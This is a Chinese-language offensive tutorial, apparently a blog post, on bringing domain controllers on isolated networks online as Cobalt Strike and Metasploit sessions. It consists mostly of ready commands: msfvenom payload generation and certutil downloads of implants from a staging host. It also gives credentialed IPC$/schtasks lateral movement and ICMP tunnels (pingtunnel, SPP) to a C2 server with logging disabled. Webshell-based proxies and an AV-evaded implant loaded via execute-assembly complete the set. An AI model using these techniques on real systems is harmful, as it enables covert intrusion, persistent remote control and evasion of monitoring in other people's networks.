特殊场景上线cs和msf

本文涉及的产品
运维安全中心(堡垒机),免费版 6个月
简介: 特殊场景上线cs和msf

前言

网络安全的本质是懂进攻,知防守,先正向,后逆向。一名优秀的白帽子,是不能有短板的,有的只能是很多的标准板和几块长板。

网络拓扑图

图片.png

一、msf正向木马拿不出网域控shell

msf生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin

用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。


域控上线msf

通过域控web服务的shell进行操作,域控远程下载边界跳板机上的马

C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://xxx.xxx.xxx/msf1.exe msf1.exe


再通过提权工具进行执行

C:\ProgramData\xxxx.exe -i -c "msf1.exe"


msf通过代理开启监听

proxychains msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST xxx.xxx.xxxset lport 4444run


成功获取域控服务器的shell


二、主机中转监听横向上线不出网域控

设置中转监听


这个监听IP要内网可以通信的内网IP


然后生成无阶段木马(分阶段木马无法选择中转监听器),再把木马copy到域控,设置好任务计划,启动木马之后就能够获取域控的shell了


ipc$+计划任务

通过net use建立IPC$连接

shell net use \\x.x.x.x\c$ "xxx" /user:"administrator"


利用copy上传后门文件到域控

shell copy C:\xxx.exe \\x.x.x.x\c$


运行任务,其中/i表示立即运行

shell schtasks /run /s x.x.x.x /u Administrator /p xxxx /tn test /i


域控成功上线cs


三、仅ICMP出网pingtunnel上线msf&cs

0. 环境搭建

WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。

1. pingtunnel

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

2. vps服务端开启

./pingtunnel -type server       ##开启服务器模式

回显0连接


3. 客户端开启

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1


客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口执行后,kali有回显


4. msf上线

制作木马,木马的回连地址为127.0.0.1:9999,运行上线msf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe


msf开启监听

msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost x.x.x.xset lport 7777exploit -j


把木马msf.exe从蚁剑上传到靶机,运行


已上线msf


5. CS上线

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1


客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口执行后,kali有回显


建立监听127.0.0.1:9999和x.x.x.x:7777


对ICMP-127的监听生成木马cs.exe


传到靶机运行


CS监听上线


四、仅ICMP出网SPP上线Cobalt Strike

环境搭建

WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。

工具:

SPP反向代理用于进入目标内网,正向代理可配合远控工具进行上线。

1. Server

服务端启动

./spp -type server -proto ricmp -listen 0.0.0.0


2. Client

客户端启动-nolog 1不输出日志,-noprint 1不打印内容

spp.exe -name "cs" -type proxy_client -server x.x.x.x -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1


vps回显


3. 创建SPP Listeners

配置一个http beacon,Host为vps地址:x.x.x.x,监听8081端口


4. 创建SPP-127 Linsteners

再起一个本地监听的http beacon,Host为:127.0.0.1(这里也可以换成web跳板机的内网IP:x.x.x.x),监听本地8082


5. 生成无阶段木马


监听器选择SPP-127,进行上线


传到靶机运行


此时查看cs已上线


vps回显


将SPP-127 Linsteners的Host换成web跳板机的内网IP:x.x.x.x,监听本地8082

图片.png

生成无阶段木马

图片.png

监听器选择SPP-127,进行上线

图片.png

传到靶机运行

图片.png

此时查看cs已上线

图片.png

vps回显

图片.png

五、Pystinger正向代理上线不出网域控到cs

工具:

Pystinger

条件:

1.TCP、ICMP、DNS均不出网。

2.具有Web服务,并获得Webshell权限。web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用

图片.png

环境机器不可以ping通其他机器


1图片.png. 上传代理文件

1.通过Webshell上传Pystinger的对应语言的Webshell到目标机器,实现内网SOCK4代理, 确保http://x.x.x.x/pystinger/proxy.php可以访问,页面返回 UTF-8。

图片.png

2. 服务端运行

参考github上Cobalt Strike多主机上线方式,上传stingger_server.exe到目标机器,然后运行

start stinger_server.exe 0.0.0.0

图片.png

3. 客户端运行

在VPS上上传stinger_client,-w proxy的url地址,执行

./stinger_client -w http://x.x.x.x/pystinger/proxy.php -l 0.0.0.0 -p 60000

图片.png

4. 创建监听器

Cobalt Strike新建监听pystinger,多主机上线设置Host为目标机器能够与更深层机器相连的内网ip:x.x.x.x,端口为60020。单主机上线设置Host为目标机器的ip:127.0.0.1,端口为60020,只能本主机上线

图片.png

5. 生成木马

图片.png

蚁剑运行木马文件

图片.png

此时查看cs已上线

图片.png

六、goproxy http代理上线不出网域控到cs

工具:

goproxy

条件:

1.TCP、ICMP、DNS均不出网。

2.具有Web服务,并获得Webshell权限。web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用

图片.png

环境机器不可以ping通其他机器

图片.png

1. 上传proxy.exe

通过Webshell上传proxy.exe到目标机器的可读可写目录,执行以下命令在这台出网主机开启一个4444端口的HTTP服务,供后面与不出网域控通讯。

proxy.exe http -t tcp -p "0.0.0.0:4444" --daemonnetstat -ano

图片.png

2. 创建监听器

Cobalt strike创建监听器,代理地址为不出网域控能访问到的地址,http://x.x.x.x:4444

图片.png

3. 生成木马

有效荷载选择Windows Executable(S),不然无法上线

图片.png

然后利用蚁剑将该文件上传到web服务器供不出网域控下载使用。不出网win2008执行如下命令,要写不出网win2008同层能访问到的地址,下载CS的有效载荷。certutil -urlcache -split -f http://x.x.x.x/xxx.exe C:\xxx.exe

image.gif

执行木马

图片.png

成功上线cs

图片.png

七、内存加载不出网域控上线cs

条件:

1.TCP、ICMP、DNS均不出网。

2.具有Web服务,并获得Webshell权限。web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用

图片.png

环境机器不可以ping通其他机器

图片.png

1. 拿跳板机session

首先拿到跳板机的一个Administrator权限的session

图片.png

2. 创建监听器

创建一个Bind TCP Listener

图片.png

3. 生成木马

生成无阶段木马

图片.png

免杀后上传到跳板机的C:\

图片.png

4.内存加载xxx.exe

execute-assembly C:\xxx.exe -m=psexec -i=x.x.x.x -u=administrator -p=xxxx -d=xxx -f=C:\xxx.exe -e=C:\xxx.exe


5.连接目标机

connect x.x.x.x 4444


6.查看cs目标已成功上线




目录
相关文章
|
安全 Linux Shell
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
1728 0
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
|
安全 Java Shell
windwos搭建cs并利用
渗透同一局域网时,如何快速搭建 cobaltstrike 并利用